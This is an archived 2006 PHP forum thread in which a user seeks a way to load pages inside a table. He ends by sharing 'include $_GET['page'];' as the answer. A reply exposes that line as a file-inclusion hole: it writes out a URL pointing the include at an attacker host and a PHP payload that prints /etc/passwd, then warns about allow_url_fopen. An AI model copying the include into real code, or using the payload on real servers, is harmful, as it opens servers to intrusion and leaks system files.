PDA

Click to See Complete Forum and Search --> : [RESOLVED] PHP to link pages to a table


kfcSmitty
Jan 26th, 2006, 02:22 PM
I feel bad asking for code here..but I really have no idea where to start.

I once had a script to do this for me..and I uploaded it to

http://ss.phoenixavatars.com/lin1/

but the webmaster is an idiot and wont reset my password for me...so I don't have access to the code.

Anyways, what that script was, was it had a table, and within the table it had a PHP script to load a webpage; although I don't remember how it loaded the page.

I did this so the website wouldnt have to reload the page everytime a link was clicked.

Could someone point me to a tutorial, or give me a snipped of code to accomplish this? I've been googling for hours now trying to find some hint on how to do it..

CornedBee
Jan 26th, 2006, 03:46 PM
Uhm ... just use an iframe?

kfcSmitty
Jan 26th, 2006, 03:57 PM
Uhm ... just use an iframe?

Frames are the devil ;)

CornedBee
Jan 26th, 2006, 04:03 PM
They are, but I see no other reliable way of achieving what you want. You could grab the source of the other site and embed it in your page, but you'll have style conflicts, you have to rewrite all URLs (and possibly fetch dependent resources as well), ...

kfcSmitty
Jan 26th, 2006, 04:47 PM
They are, but I see no other reliable way of achieving what you want. You could grab the source of the other site and embed it in your page, but you'll have style conflicts, you have to rewrite all URLs (and possibly fetch dependent resources as well), ...

I am working on getting ahold of my host for that site I linked to..But he is not responding.

The code would properly for me, because i have a template file the php links to.

Thanks for your help..I was just wondering if anyone could tell me how to link a webpage using php...

I tried using 'include' but it threw a bunch of errors my way

kfcSmitty
Jan 31st, 2006, 08:35 PM
Just a heads up, incase anyone else has a question about this.
The code was:


<?php
include $_GET['page'];
?>


Would do the following:

If you had it in 1 part of the table, it would load members.html into that spot, if the user clicked the link "?page=members.html"

CornedBee
Feb 1st, 2006, 06:11 AM
Yay!

http://www.yourdomain.com/yourpage.php?http://www.mydomain.hacker/mypage.txt

mypage.txt
<?php
$file = fopen("/etc/passwd", "rt");
fpassthru($file);
fclose($file);
?>

Do you have any other insane ideas of compromising your server?

(There is a reason most sysadmins disable allow_url_fopen.)